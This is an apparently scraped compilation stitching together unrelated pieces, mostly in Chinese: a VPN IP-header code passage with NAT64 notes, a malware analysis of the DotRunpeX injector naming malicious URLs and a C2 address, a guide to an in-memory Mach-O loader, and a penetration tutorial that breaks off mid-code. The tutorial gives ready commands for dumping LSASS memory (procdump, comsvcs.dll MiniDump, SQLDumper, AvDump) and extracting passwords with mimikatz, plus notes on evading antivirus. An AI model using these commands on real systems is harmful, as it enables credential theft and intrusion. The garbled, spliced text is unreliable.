//wrapthebytesintotheByteBufferclassforeasierbytemanipulationandextrafunctionality

//besuretoaccountfortheByteBuffer'sstatefulnessandspecifyindicesexplicitlywhenaccessing

//thebytes

privatevalbuffer=ByteBuffer.wrap(bytes).order(ByteOrder.BIG_ENDIAN)

//theIPversionisstoredinthefirst4bitsoftheheader

varipVersion

//togetit,readthefirstbyteandshiftitby4bitstotheright

get()=(buffer.get(0).toInt()shr4)

//andtosetit,shiftthedesiredvaluetotheleftby4bitsandperformthebitwiseshiftOR

//onthefirstbyteoftheunderlyingbytearray

set(value){buffer.put(0,((valueshl4)or(buffer.get(0).toInt()and0x0F)).toByte())}

//IPv4andIPv6headerscontaindifferentfields,soifclientcodeattemptstoaccessafieldthat

//isnotpresentintheunderlyingpacket,throwanexception

varheaderLength

get()=

//checktheipversionbycallingtheipVersionmemberdeclaredearlier

if(ipVersion==4)(buffer.get(0)and0x0F)

//IPv6headerdoesnothaveafieldfortheheaderlength,sothereisnovaluethisgettercanreturn

elsethrowException('IPv6doesn'thaveaHeaderLengthfield!')

set(value){

//similarly,ifthefieldisthere,setit

if(ipVersion==4)buffer.put(0,((valueand0x0F)or(buffer.get(0).toInt()and0xF0)).toByte())

//ifit'snot,throwanexception

elsethrowException('IPv6doesn'thaveaHeaderLengthfield!')

}

//IPheaderscanbeofdifferentversions,andit'sconvenienttohaveasinglewrapperclass

//forbothIPv4andIPv6

varsrcIp

get()=InetAddress.getByAddress(run{

val(startPos,len)=

if(ipVersion==4)listOf(SOURCE_IP_POS_IPV4,ADDR_LEN_IPV4)

elselistOf(SOURCE_IP_POS_IPV6,ADDR_LEN_IPV6)

//whengettingtheIPaddress,simplycopythebytesthatrepresentitandpasstheresult

//intoJava'sInetAddress.getByAddressfunctionthatwilldotherestoftheparsing

buffer.array().copyOfRange(startPos,startPos+len)

})

set(value){

value.address.copyInto(

buffer.array(),

if(ipVersion==4)SOURCE_IP_POS_IPV4

elseSOURCE_IP_POS_IPV6

)

}

//dothesameforthedestinationaddress

vardestIp

get()=/*.*/

set(value)=/*.*/

//otherfieldscanbeimplementedinasimilarfashion

/*.*/

//thiswrappercanalsohavevariousconveniencefunctions;forexample,itcanprovide

//meansforeasilygettingthewrappedpacket'sheaderstoquicklycreateresponseheaders

funcopyHeaders()=/*.*/

//orhandlethechecksumcomputationsfortheIPandthenestedtransportheaders

funupdateChecksums()=/*.*/

}一旦SessionHandler 類收到數據包,它就可以將數據包字節放入IPWrapper對象並使用IPWrapper 類從IP 標頭訪問它需要的任何信息。例如,在創建響應數據包時,SessionHandler類可以簡單地複制標頭並更新字段,而不是創建一個全新的標頭:

image.png

您可以將生成的響應數據包寫回VPN 的網絡接口:

image.png

一旦SessionHandler 類將數據包的字節放入IPWrapper 類,路由軟件將解析VPN 服務生成的IP 標頭並將數據包路由到其目的地。在這種情況下,目標是本地應用程序,其出站流量已通過操作系統的路由規則重定向到VPN 的網絡接口。

現在,讓我們看看如果您只能訪問IPv4 網絡,如何檢查支持IPv6 的VPN。

使用NAT64 測試IPv6 實現雖然實施協議相對簡單,但測試才是真正挑戰的開始。那麼,NAT64、IPv4、IPv6是如何相互連接的呢?

IPv6 明顯優於IPv4,但支持IPv6 的基礎設施尚不存在。世界上許多ISP 仍然不支持IPv6,因此他們無法將IPv6 轉換為IPv4,反之亦然。因此,他們的客戶端無法訪問任何使用IPv6 的服務器。相反的情況也存在:有些網絡僅使用IPv6 運行,不處理IPv4 數據包。

要解決這些不兼容問題,您可以使用以下轉換機制之一:

image.png

IPv6 過渡機制

對於下面描述的方法,我們使用了NAT64——一種將所有40 億個IPv4 地址映射到IPv6 地址空間的保留塊的轉換機制。我們的客戶特別要求使用NAT64 在IPv4 地址和IPv6 地址之間進行轉換。

讓我們看看這種機制在實踐中是如何工作的,以及NAT64 為IPv6 做了什麼。假設連接使用不同IP 版本的網絡的路由器收到一個IPv6 數據包,其目標地址來自NAT64 地址範圍。這是接下來發生的事情:

路由器從收到的IPv6 數據包中刪除96 位長的NAT64 前綴,留下32 位的IPv4 地址。

之後,路由器為數據包創建一個新的IPv4 標頭,以便它可以繼續在網絡中傳輸。

當路由器收到IPv4 數據包並必須通過IPv6 網絡路由它時,也會發生同樣的情況:

路由器通過添加NAT64 前綴將IPv4 地址轉換為IPv6 地址。

路由器為數據包重新創建IP 標頭,然後通過IPv6 網絡路由數據包。

您可以使用這些轉換機制來測試IPv6 實現,尤其是在IPv6 網絡不可用的地方。要查看您的VPN 服務如何在純IPv4 環境中處理IPv6 數據包,請在您服務的VPN 接口上使用NAT64 範圍內的目標地址打開IPv6 套接字:

image.png

套接字傳輸

如果您的VPN 服務正常運行,它將接收這些數據包並像處理常規IPv6 數據包一樣處理它們。當這些數據包最終通過物理網絡接口進行路由時,它們將到達一個路由器,該路由器會將它們轉換為常規的IPv4 數據包。然後,您的VPN 服務將能夠從目標服務接收響應數據,為客戶端創建響應IPv6 數據包,並通過其虛擬接口發送。

結論雖然IPv4 仍然更受歡迎,但IPv6 為用戶和開發人員提供了更多好處。在本文中,我們解釋了為什麼需要在您的應用程序中將IPv4 轉換為IPv6,以及如何將對NAT64 的支持添加到您的應用程序中。在您無法完全控製網絡的受限環境中,也允許使用NAT64 將IPv6 地址映射到IPv4 目標。

微信截图_20230319161953.png

在過去的幾個月裡,CPR一直在監測DotRunpeX惡意軟件以及它在野外的使用情況。監測顯示,這種新型的網絡注入器仍在不斷發展中。 CPR發現了幾種不同的傳播方法,在發現的所有示例中,DotRunpeX都是第二階段感染的一部分。這種新的威脅被用來傳播許多不同的惡意軟件家族,主要與竊取程序、RAT、加載程序和下載程序有關。

與新版DotRunpeX相關的最早示例的日期為2022.10.17。關於這一威脅的首次公開信息發布日期為2022.10.26年。

本研究的主要主題是對兩個版本的DotRunpeX注入器進行深入分析,對比它們之間的相似之處,並介紹用於分析新版本的DotRunpeX的PoC技術,因為它是由自定義版本的KoiVM .NET protector.虛擬化傳播的。

主要發現Check Point Research(CPR)對DotRunpeX注入器及其與舊版本的關係進行了深入分析;DotRunpeX受到虛擬化(KoiVM的自定義版本)和混淆(ConfuserEx)的保護;

調查顯示,DotRunpeX在野外被用來傳播許多已知的惡意軟件家族;

通常通過網絡釣魚電子郵件作為惡意附件和偽裝成常規程序的網站進行傳播;

CPR確認並詳細說明了惡意使用易受攻擊的進程資源管理器驅動程序來禁用反惡意軟件服務的功能;

本文會介紹幾種PoC技術,這些技術已被批准用於反向工程受保護或虛擬化的dotnet代碼;

DotRunpeX是一種使用Process Hollowing技術在.NET中編寫的新註入器,用於感染各種已知惡意軟件家族的系統。儘管這種注入器是新的,但與舊版本有一些相似之處。此註入器的名稱基於其版本信息,在dotRunpeX的兩個版本中都是一樣的,在CPR分析的所有示例中都是一致的,並且包含ProductName–RunpeX.Stub.Frame。

在CPR監測這一威脅的同時,CPR發現了一些主要由獨立研究人員公開共享的信息,這些信息與DotRunpeX的功能有關,但被錯誤地歸因於另一個著名的惡意軟件家族。

CPR通過對這一威脅連續進行幾個月的監測,CPR獲得了足夠的信息來區分第一階段和第二階段(DotRunpeX)加載程序,但沒有跡象表明它們之間存在關係。在各種下載程序和加密貨幣竊取程序中,CPR發現了這些由dotRunpeX傳播的已知惡意軟件家族:

AgentTesla

ArrowRAT

AsyncRat

AveMaria/WarzoneRAT

BitRAT

Formbook

LgoogLoader

Lokibot

NetWire

PrivateLoader

QuasarRAT

RecordBreaker–RaccoonStealer2.0

Redline

Remcos

Rhadamanthys

SnakeKeylogger

Vidar

XWorm

1.png

DotRunpeX傳播的惡意軟件家族

從發生的時間順序來看,基於DotRunpeX示例的編譯時間戳,這種新的威脅主要在2022年11月和2023年1月開始流行。

2.png

DotRunpeX時間軸——編譯時間戳

感染途徑DotRunpeX注入器通常是原始感染的第二階段。典型的第一階段是.NET加載程序/下載程序的非常不同的變體。第一階段加載程序主要通過釣魚電子郵件作為惡意附件(通常是“.iso”、“.img”、“.zip”和“.7z”的一部分)或通過偽裝成常規程序實用程序的網站進行傳播。除了最常見的感染途徑外,DotRunpeX的客戶還很善於濫用谷歌廣告,甚至通過木馬惡意軟件構建器構建其他潛在的攻擊者。

釣魚郵件“Transaction Advice 502833272391_RPY - 29/10/2022”將第一階段加載程序作為惡意“.7z”附件的一部分傳播第一階段加載程序,導致加載DotRunpeX(SHA256:“457cfd6222266941360fdbe36742486ee12419c95f1d7d3502243e795de28200e”)。

3.png

釣魚郵件“Transaction Advice 502833272391_RPY - 29/10/2022”

釣魚網站會偽裝成常規程序實用程序(Galaxy Swapper、OBS Studio、洋蔥瀏覽器、Brave Wallet、LastPass、AnyDesk、MSI Afterburner),並提供第一階段加載程序,導致dotRunpeX在第二階段的一部分被感染。

偽裝成Galaxy Swapper的網站:https://www.galaxyswapper[.]ru/:

4.png

在谷歌搜索Galaxy Swapper得到的結果“https://www.galaxyswapper[.]ru/”

下載重定向到https://gitlab[.]com/forhost1232/galaxyv19.11.14/-/raw/main/galaxyv19.11.14.zip。

5.png

“https://www.galaxyswapper[.]ru/”上的下載按鈕重定向到一個木馬程序

偽裝成LastPass密碼管理器的網站:http://lastpass[.]shop/en/

6.png

網站“http://lastpass[.]shop/en/”偽裝成LastPass密碼管理器

LastPass密碼管理器的假冒網站在調查時已經關閉。儘管如此,CPR可以確認該假冒軟件是從“最終URL”https://gitlab[.]com/forhost1232/lastpassinstaller/-/raw/main/LastPassInstaller.zip下載的。

7.png

“http://lastpass[.]shop/en/”上的下載按鈕重定向到一個木馬程序

GitLab頁面https://gitlab[.]com/forhost1232包含數十個被DotRunpeX惡意軟件木馬化的程序。

8.png

GitLab存儲庫“https://gitlab[.]com/forhost1232”上的數十個木馬程序

在前面提到的GitLab頁面上,所有的木馬程序都包含了主.NET應用程序,並通過覆蓋層進行了放大,以避免使用沙盒進行掃描。

9.png

由GitLab存儲庫' https://gitlab[.]com/forhost1232 '提供的木馬程序示例

上面提到的帶有覆蓋的.NET應用程序是典型的第一階段,其行為就像帶有簡單混淆的dotnet加載程序。這些不同的加載程序變體在第二階段使用反射來加載DotRunpeX注入器。其中有些非常簡單,有些則更高級。

簡單的第一階段加載程序(System.Reflection.Assembly.Load()方法):

10.png

簡單的第一階段加載程序

下面可以看到更高級的第一階段加載程序的示例(使用AMSI Bypass和DynamicMethod通過反射加載和執行第二階段加載程序)。這種高級加載程序的優點是沒有直接引用System.Reflection.Assembly.Load()方法,因此它可以避免檢測依賴於.NET元數據靜態解析的引擎。

11.png

使用AMSI繞過和DynamicMethod的更高級的第一階段加載程序

後一種的去混淆形式如下圖所示:

12.png

更高級的第一階段加載程序的去混淆形式

從這些類型的加載程序中提取第二階段(DotRunpeX階段)的編程方式可以簡單地使用AsmResolver和反射來實現,如下所示。

13.png

使用AsmResolver和反射從第一階段加載程序提取DotRunpeX

值得注意的是,那些指向GitLab頁面的釣魚網站的示例只與一個活動有關,在這個活動中,DotRunpeX注入器總是負責注入帶有C2–77.73.134.2的Redline惡意軟件。

除了前面提到的最常見的感染途徑外,CPR還觀察到了一個非常有趣的感染途徑示例,在這個示例中,DotRunpeX的一位客戶可能已經厭倦了以普通受害者為目標,並決定以其他潛在的攻擊者為目標。 Redline構建器Redline_20_2_crack.rar(SHA256: “0e40e504c05c30a7987785996e2542c332100ae7ecf9f67ebe3c24ad2468527c”)被下載程序木馬化,該下載程序使用反射來加載dotRunpeX作為構建器的隱藏“添加功能”。

14.png

木馬化的Redline構建器的文件夾結構

事實證明,在Redline的構建過程中,根據需求進行配置,使用者還將獲得另一個Redline示例。

15.png

使用反射來加載DotRunpeX的下載程序,該下載程序傳播另一個Redline惡意軟件

舊版本的DotRunpeX:

使用自定義混淆:僅對名稱進行混淆;

配置有限(有效負載注入目標、提升+UAC繞過、有效負載解密的XOR密鑰);

只有一種UAC繞過技術;

使用簡單的XOR對要注入的主要有效負載進行解密;

使用D/Invoke類似的技術來調用本機代碼(基於使用GetDelegateForFunctionPointer()),但使用誘餌系統調用例程;

使用D/Invoke重新映射' ntdll.dll '

新版本的DotRunpeX:

由自定義版本的KoiVM虛擬程序保護;

高度可配置(禁用反惡意軟件服務,反虛擬程序,反沙盒,持久性設置,有效負載解密密鑰,UAC繞過方法);

更多的UAC繞過技術;

使用簡單的XOR來解密要注入的主要有效負載(在最新開發的版本中省略了);

濫用procexp驅動程序(Sysinternals)阻止受保護進程(反惡意軟件服務);

基於俄羅斯procexp驅動程序的標誌名稱Иисус.sys 翻譯過來就是“jesus.sys”;

兩個版本的相似之處:

用.NET編寫的64位可執行文件“.exe”;

用於注入幾個不同的惡意軟件家族;

使用簡單的XOR對要注入的主要有效負載進行解密;

可能使用相同的UAC繞過技術(新版DotRunpeX提供了更多技術);

16.png

UAC繞過技術

使用相同的版本信息;

17.png

DotRunpeX版本信息

使用相同的.NET資源名稱BIDEN_HARRIS_PERFECT_ASSHOLE來保存要注入的加密有效負載:

18.png

新舊版本的Dotnet資源名

使用相同的代碼注入技術——Process Hollowing;

使用相同的結構化類定義本機委託;

19.png

用於定義Native委託的相同結構化類

完整的技術分析——舊版本的DotRunpeX對於舊版本的DotRunpeX的分析,使用了示例SHA256:“65cac67ed2a084beff373d6aba6f914b8cba0caceda254a857def1df12f5154b”。這個示例是一個用.NET編寫的64位可執行文件“.exe”,實現了自定義的混淆——只對名稱進行混淆。 CPR分析的所有示例的版本信息都是一致的,CPR可以注意到ProductName - RunpeX.Stub.Framework,這可能是某種CPR正在處理網絡注入器的第一個提示。

20.png

舊DotRunpeX版本信息

為了方便介紹,CPR對方法名稱、參數和局部變量進行了部分清理。就在Main()方法中,CPR可以看到資源BIDEN_HARRIS_PERFECT_ASSHOLE的簡單XOR解密,該資源包含要注入的加密有效負載。 CPR分析的所有示例的資源名稱都是一致的。

21.png

主要方法導致嵌入式有效負載的簡單XOR解密

CPR還可以看到具有類名UAC的名稱空間UACBypass,此類實現了UAC(用戶帳戶控制)繞過方法,但未配置為在此示例中使用。

22.png

UAC繞過方法

方法Inject()實現了一種稱為“Process Hollowing”的代碼注入技術。下圖顯示了一個正在生成處於掛鉤狀態的進程。

23.png

創建掛鉤的流程作為Process Hollowing技術的一部分

這種技術在惡意軟件開發領域並不新鮮。儘管如此,一旦CPR檢查了這個示例的P/Invoke(允許從託管代碼訪問非託管庫中的結構、回調和函數的技術)定義的方法,就可以立即發現一些有趣的東西。這些方法可以在ImplMap表中看到,該表是.NET元數據的一部分。

24.png

ImplMap表——舊版本的DotRunpeX

必須使用某些WIN API或NT API來執行Process Hollowing技術。正如CPR在ImplMap表中看到的那樣,缺少了一些最關鍵的API。更具體地說,CPR看不到任何與取消映射和寫入遠程進程內存相關的API。這背後的原因是使用D/Invoke框架來調用某些通常會引起注意的NTAPI例程。

D/Invoke包含功能強大的原語,這些原語可以智能地組合在一起,以精確地從磁盤或內存動態調用非託管代碼。它依賴於dotnet方法GetDelegateForFunctionPointer()的使用和相應的委託定義。

在這種情況下,NT API ZwOpenSection、ZwMapViewOfSection、ZwUnmapViewOfSection、NtClose、NtWriteVirtualMemory、NtResumeThread和RtlMoveMemory是通過D/Invoke實現的。委託的相應定義如下所示。

25.png

用於定義Native委託的類

更有趣的是,通過D/Invoke實現的4個NT api (ZwUnmapViewOfSection, NtWriteVirtualMemory, NtResumeThread, RtlMoveMemory)使用了一些可以被認為是添加的PoC技術,而不是原始D/Invoke框架的一部分——系統調用補丁。例如,CPR可以通過CallNtWriteVirtualMemory()方法檢查NtWriteVirtualMemory調用是如何實現的。

26.png

導致系統調用修復的D/Invoke實現示例

首先,我們可以看到MapDllandGetProcAddress()方法中D/Invoke框架的用法發生了變化。每次調用此方法時,它都會重新映射指定的庫,並獲得所需函數的地址。在返回所需函數的地址之前,使用指針算術將指針移動4個字節,使其指向系統調用號的地址。在這種情況下,' ntdll.dll '模塊被重新映射,返回NT API例程NtWriteVirtualMemory的地址,偏移量為4個字節。

27.png

改變了D/Invoke的用法,它返回指

在上一篇文章中,我們介紹瞭如何修復dyld以恢復內存執行。這種方法的優點之一是,我們將加載Mach-O二進製文件的許多複雜工作委託給macOS。但如果我們在不使用dyld的情況下,創建我們自己的加載器呢?所有這些字節映射是如何工作的?

接下來,我們將介紹如何在不使用dyld的情況下在MacOS Ventura中為Mach-O包構建內存加載器,以及Mach-O文件的組成,dyld如何處理加載命令以將區域映射到內存中。

為了配合蘋果向ARM架構的遷移,這篇文章將重點介紹MacOS Ventura的AARCH64版本和針對MacOS 12.0及更高版本的XCode。

什麼是Mach-O文件?首先介紹一下Mach-O文件的架構,建議先閱讀一下Aidan Steele的Mach-O文件格式參考。

當我們在處理ARM版本的MacOS時,會假設正在查看的Mach-O沒有被封裝在Universal 2格式中,因此在文件開頭我們首先會遇到的是Mach_header_64:

1.png

要構造加載器,我們需要檢查以下幾個字段:

magic-此字段應包含MH_magic_64的值;

Cputype-對於M1,應為CPU_TYPE_ARM64。

filetype -我們將檢查這篇文章的MH_BUNDLE類型,但加載不同類型也應該很容易。

如果Mach-O是正常的,我們可以立即處理mach_header_64結構體後面的load命令。

加載命令顧名思義,load命令是一種數據結構,用於指示dyld如何加載Mach-O區域。

每個load命令由load_command結構表示:

2.png

cmd字段最終決定load_command實際表示的內容,以LC_UUID的一個非常簡單的load_command為例,該命令用於將UUID與二進制數據關聯起來。其結構如下:

3.png

如上所述,這與load_command結構重疊,這就是為什麼我們有匹配字段的原因。以下就是我們將看到的各種負載命令所支持的情況。

Mach-O段加載Mach-O時,我們要處理的第一個load_command是LC_SEGMENT_64。

segment命令告訴dyld如何將Mach-O的一個區域映射到虛擬內存中,它應該有多大,應該有什麼樣的保護,以及文件的內容在哪裡。讓我們來看看它的結構:

4.png

出於本文的目的,我們將關注:

segname -段的名稱,例如__TEXT;

vmaddr -應該加載段的虛擬地址。例如,如果它被設置為0x4000,那麼我們將在分配的內存基數+0x4000處加載段;

vmsize -要分配的虛擬內存的大小;

fileoff -從文件開始到應複製到虛擬內存的Mach-O內容的偏移量;

filesize -要從文件中復制的字節數;

maxprot-應分配給虛擬內存區域的最大內存保護值;

initprot -應分配給虛擬內存區域的初始內存保護;

nsects -遵循此段結構的節數。

要注意,雖然dyld依賴mmap將Mach-O的片段拉入內存,但如果我們的初始進程是作為一個加固進程執行的(並且沒有com.apple.security.cs. c . data . data之類的文件)。使用mmap是不可能的,除非我們提供的bundle是使用與代理應用程序相同的開發人員證書進行簽名的。此外,我們正在嘗試構建一個內存加載器,因此在這種情況下從磁盤拉二進製文件沒有多大意義。

為了解決這個問題,在此POC中,我們將預先分配我們的blob內存並複制它,例如:

5.png

與之前的dyld文章一樣,我們需要在主機二進製文件中使用正確的授權來允許無符號可執行內存。

節從上面的字段中可以看到,段加載命令中存在另一個引用,這就是一個節(section)。

由於節位於段中,雖然它將繼承其內存保護,但它有自己的大小和要加載的文件內容。每個段的數據結構附加到segment命令中,其結構為:

6.png

同樣,我們將只關注其中幾個字段,這些字段對於我們構建加載器的直接目的很有幫助:

sectname -節的名稱,例如__text;

segname -與此節關聯的段的名稱;

addr -用於此節的虛擬地址偏移量;

size -文件中(以及虛擬內存中的)節的大小;

offset - Mach-O文件中部分內容的偏移量;

flags - flags可以分配給一個節,這個節幫助確定reserved1,reserved2和reserved3中的值。

由於我們已經分配了每個段,所以加載器將遍歷每個段描述符,確保將正確的文件內容複製到虛擬內存中。需要注意的是,在復制時可能需要更新內存保護。 MacOS for ARM不允許讀/寫/執行內存頁(除非com.apple.security.cs. c。allow-jit授權與MAP_JIT一起使用),因此我們需要在復制時適應這一點:

7.png

符號隨著我們的加載器開始成型,接下來需要看看如何處理符號(Symbol)。符號在Mach-O二進製文件的加載過程中扮演著重要的角色,它將名稱和序數關聯到內存區域,以供我們稍後參考。

符號是通過LC_SYMTAB的加載命令來處理的,如下所示:

8.png

同樣,我們將關注構建加載器所需的字段:

symoff -從文件開始到包含每個符號信息的nlist結構數組的偏移量;

nsyms -符號(或nlist結構)的數量;

stroff -符號查找所使用的字符串的文件偏移量。

顯然,接下來我們需要知道nlist是什麼:

9.png

此結構為我們提供了有關命名符號的信息:

n_strx -從符號字符串字段到該符號字符串的偏移量;

n_value -包含符號的值,例如地址。

因為我們稍後需要引用符號,所以我們的加載器需要存儲這些信息以備以後使用:

10.png

dylib’s接下來是LC_LOAD_DYLIB加載命令,該命令引用在運行時加載的額外dylib’s。

11.png

我們需要的項在dylib結構成員中找到,特別是dylib.name.offset,它是從這個加載命令的開頭到包含要加載的dylib的字符串的偏移量。

稍後,當涉及到重定位時,我們將需要這些信息,其中dylib’s的導入順序起著重要作用,因此我們將構建一個dylib’s數組,供以後使用:

12.png

遷移現在就要介紹Mach-O更複雜的部分——遷移。

Mach-O是用XCode構建的,目標是macOS 12.0和更高版本,使用LC_DYLD_CHAINED_FIXUPS的加載命令。關於這一切是如何工作的,沒有太多的文檔,但Noah Martin對iOS 15查找鏈的研究值得參考,我們還可以在這裡找到蘋果XNUrepo中使用的結構體的詳細信息。

Dyld’s的源代碼告訴我們,該加載命令以結構linkedit_data_command開始:

13.png

使用dataoff便能找到標頭:

14.png

我們需要做的第一件事是收集所有導入並構造一個稍後將引用的有序數組。為此,我們將使用以下字段:

symbols_offset -從該結構開始到導入所使用的符號字符串的偏移量;

imports_count -導入項的數量;

imports_format -任何導入符號的格式。

imports_offset -從該結構開始到導入表的偏移量。

每個導入項的數據結構都依賴於imports_format字段,但通常我看到的是DYLD_CHAINED_IMPORT格式:

15.png

可以看出這是一個32位數組項,有lib_ordinal字段,它是我們之前從LC_LOAD_DYLIB加載命令構建的有序dylib數組的索引。索引從1開始,而不是0,這意味著第一個索引是1,然後是2……

16.png

如果索引值為0或253,則該項引用this-image(當前正在執行的二進製文件)。這就是我們之前構造符號字典的原因,因為現在我們可以簡單地將自己二進製文件中引用的符號名稱解析為其地址:

17.png

name_offset是從dyld_chained_fixups_header收集的symbols_offset字符串的偏移量。

使用這些信息,我們需要構建一個有序的導入數組,因為我們需要馬上引用這個有序數組。

構建了一個導入列表後,將開始鍊式啟動,這可以從dyld_chained_fixups_header結構的starts_offset標頭字段中找到。

鍊式啟動的結構是:

18.png

為了導航,我們需要遍歷seg_info_offset中的每個項,這為我們提供了指向dyld_chained_starts_in_segment的指針列表:

19.png

首先要注意這個結構,有時segment_offset是0,但不知道為什麼,看起來dyld也識別了這個,只是忽略了它們。

20.png

我們需要找到每個reloc鏈的開始位置的字段如下:

pointer_format-鏈使用的DYLD_CHAINED_PTR_結構的類型;

segment_offset-段起始地址在內存中的絕對偏移量;

page_count-page_start成員數組中的頁數;

page_start-從頁面到鏈開始的偏移量。

當我們在一個段中有一個有效的偏移量時,我們可以開始遵循reloc鏈。遍歷每個項,我們需要檢查第一位,以確定該項是一個rebase(設置為0)還是一個bind(設置為1):

在rebase的情況下,將該項轉換為dyld_chained_ptr_64_rebase,並使用目標偏移量更新該項到已分配內存的基數。

21.png

在綁定的情況下,我們使用dyld_chained_ptr_64_bind,序數字段是我們前面構建的導入數組的偏移量。

22.png

然後,我們需要移動到下一個bind或rebase,這是通過執行next*4(4字節是步長)來完成的。我們重複此操作,直到下一個字段為0,表示鏈已結束。

構建加載器現在一切就緒,開始構建加載器。步驟如下:

1.分配內存區域;

2.根據LC_SEGMENT_64命令將每個段加載到虛擬內存中;

3.將每個節加載到每個段中;

4.從LC_LOAD_DYLIB命令構建dylib的有序集合;

5.從LC_SYMTAB命令構建一個符號集合。

6.遍歷LC_DYLD_CHAINED_FIXUPS鏈並對每個reloc進行bind或rebase。

一旦完成,我們就可以使用LC_SYMTAB中的數據來引用我們想要輸入的符號並傳遞執行。如果一切順利,我們將看到Mach-O被加載到內存中並開始執行:

23.png

這個POC的所有代碼都已添加到Dyld-DeNeuralyzer項目。

雖然你可以使用其中的代碼加載C/c++包,但如果你嘗試加載Objective-C包,你會看到如下的內容:

24.png

這是因為在加載Objective-C Mach-O時dyld中發生了一些事情,具體原因我們下一部分再講。


前言

lsass.exe(Local Security Authority Subsystem Service进程空间中,存有着机器的域、本地用户名和密码等重要信息。如果获取本地高权限,用户便可以访问LSASS进程内存,从而可以导出内部数据(password),用于横向移动和权限提升。通过lsass转储用户密码或者hash也算是渗透过程中必不可少的一步,这里学习一下原理以及记录下多种转储方法。

[toc]

常规方法

mimikatz::logonpasswords

我们通常将这些工具称为LOLBins,指攻击者可以使用这些二进制文件执行超出其原始目的的操作。 我们关注LOLBins中导出内存的程序。

白名单工具

三个微软签名的白名单程序

Procdump.exe
SQLDumper.exe
createdump.exe

Procdump转储Lsass.exe的内存

ProcDump是微软签名的合法二进制文件,被提供用于转储进程内存。可以在微软文档中下载官方给出的ProcDump文件

用Procdump 抓取lsass进程dmp文件,

procdump64.exe -accepteula -ma lsass.exe lsass_dump

然后可以配置mimikatz使用

sekurlsa::Minidump lsassdump.dmp
sekurlsa::logonPasswords

如果对lsass.exe敏感的话,那么还可以配合lsass.exe的pid来使用

procdump64.exe -accepteula -ma pid lsass_dum

这种原理是lsass.exe是Windows系统的安全机制,主要用于本地安全和登陆策略,通常在我们登陆系统时输入密码后,密码便会存贮在lsass.exe内存中,经过wdigest和tspkg两个模块调用后,对其使用可逆的算法进行加密并存储在内存中,而Mimikatz正是通过对lsass.exe逆算获取到明文密码。

关于查杀情况,火绒病毒查杀并没有扫描到,360在13版本下也没检测到在14版本被查杀了。

SQLDumper.exe

Sqldumper.exe实用工具包含在 Microsoft SQL Server 中。 它生成用于调试目的SQL Server和相关进程的内存转储。

sqldumper的常见路径如下

C:\Program Files\Microsoft SQL Server\100\Shared\SqlDumper.exe

C:\Program Files\Microsoft Analysis Services\AS OLEDB\10\SQLDumper.exe

C:\Program Files (x86)\Microsoft SQL Server\100\Shared\SqlDumper.exe

SQLDumper.exe包含在Microsoft SQL和Office中,可生成完整转储文件。

tasklist /svc | findstr lsass.exe  查看lsass.exe 的PID号
Sqldumper.exe ProcessID 0 0x01100  导出mdmp文件

再本地解密即可需要使用相同版本操作系统。

mimikatz.exe "sekurlsa::minidump SQLDmpr0001.mdmp" "sekurlsa::logonPasswords full" exit

被360查杀,火绒没有检测

createdump.exe

随着.NET5出现的,本身是个native binary.虽然有签名同样遭到AV查杀

createdump.exe -u -f lsass.dmp lsass[PID]

同样会被360查杀

comsvcs.dll

comsvcs.dll主要是提供COM+ Services服务。每个Windows系统中都可以找到该文件,可以使用Rundll32执行其导出函数MiniDump实现进程的完全转储。

该文件是一个白名单文件,我们主要是利用了Comsvsc.dll中的导出函数APIMiniDump来实现转储lsass.exe的目的,注意同样是需要管理员权限。因为需要开启SeDebugPrivilege权限。而在cmd中此权限是默认禁用的,powershell是默认启用的。
该文件位于C:\windows\system32\comsvcs.dll

可以这样使用如下方式来调用MiniDump实现转储lsass.exe进程:

powershell C:\Windows\System32\rundll32.exe C:\windows\System32\comsvcs.dll, MiniDump (Get-Process lsass).id $env:TEMP\lsass-comsvcs.dmp full

360同样查杀,这种直接通过调用APIMiniDump来dump内存的行为还是太过敏感,不稍微修改很容易就被查杀。

其它工具

rdleakdiag.exe

默认存在的系统:

Windows 10 Windows 8.1 Windows 8 Windows7 windows Vista
软件版本 10.0.15063.0 6.3.9600.17415 6.2.9200.16384 6.1.7600.16385 6.0.6001.18000
没有的情况可以选择传一个上去。

生成dmp内存文件

rdrleakdiag.exe /p <pid> /o <outputdir> /fullmemdmp /wait 1 Rst

会产生两个文件,results*+进程pid+.hlk,minidump*+进程pid+.dmp。然后同样使用mimikatz进行破解。

AvDump.exe

AvDump.exe是Avast杀毒软件中自带的一个程序,可用于转储指定进程(lsass.exe)内存数据,它带有Avast杀软数字签名。所以一般不会被av查杀。
下载地址:https://www.pconlife.com/viewfileinfo/avdump64-exe/#fileinfoDownloadSaveInfodivGoto2
需要在ps中调用,否则cmd默认是不开启seDEBUGPrivilege权限的,但是现在360会检测到avdump.

.\AvDump.exe --pid <lsass pid> --exception_ptr 0 --thread_id 0 --dump_level 1 --dump_file C:\Users\admin\Desktop\lsass.dmp --min_interval 0

但也是会被360查杀。

自主编写dll

调用APIMiniDump的一个demo

这里涉及到windows进程编程,可以先看看如何遍历windows下的进程。遍历进程需要几个API和一个结构体。

 1.创建进程快照
 2.初始化第一个要遍历的进程
 3.继续下次遍历
 4.进程信息结构体

创建进程使用CreateToolhelp32Snapshot

HANDLE WINAPI CreateToolhelp32Snapshot(
DWORD dwFlags, //用来指定“快照”中需要返回的对象,可以是TH32CS_SNAPPROCESS等
DWORD th32ProcessID //一个进程ID号,用来指定要获取哪一个进程的快照,当获取系统进程列表或获取 当前进程快照时可以设为0
);

获取第一个进程句柄使用Process32First

BOOL WINAPI Process32First(
    HANDLE hSnapshot,//_in,进程快照句柄
    LPPROCESSENTRY32 lppe//_out,传入进程信息结构体,系统帮你填写.
);

获取下一个进程使用Process32Next

BOOL WINAPI Process32Next(
  HANDLE hSnapshot,        从CreateToolhelp32Snapshot 返回的句柄
  LPPROCESSENTRY32 lppe     指向PROCESSENTRY32结构的指针,进程信息结构体
);

其中还涉及到PROCESSENTRY32的结构体对我们有用的就是

  • dwSize 初始化结构体的大小
  • th32ProcessId 进程ID
  • szExeFile[MAX_PATH] 进程路径
    typedef struct tagPROCESSENTRY32 {
    DWORD dwSize; // 结构大小,首次调用之前必须初始化;
    DWORD cntUsage; // 此进程的引用计数,为0时则进程结束;
    DWORD th32ProcessID; // 进程ID;
    DWORD th32DefaultHeapID; // 进程默认堆ID;
    DWORD th32ModuleID; // 进程模块ID;
    DWORD cntThreads; // 此进程开启的线程计数;
    DWORD th32ParentProcessID;// 父进程ID;
    LONG pcPriClassBase; // 线程优先权;
    DWORD dwFlags; // 保留;
    char szExeFile[MAX_PATH]; // 进程全名;
    } PROCESSENTRY32;
    

    所以rust实现的代码如下

    fn getProcess(){
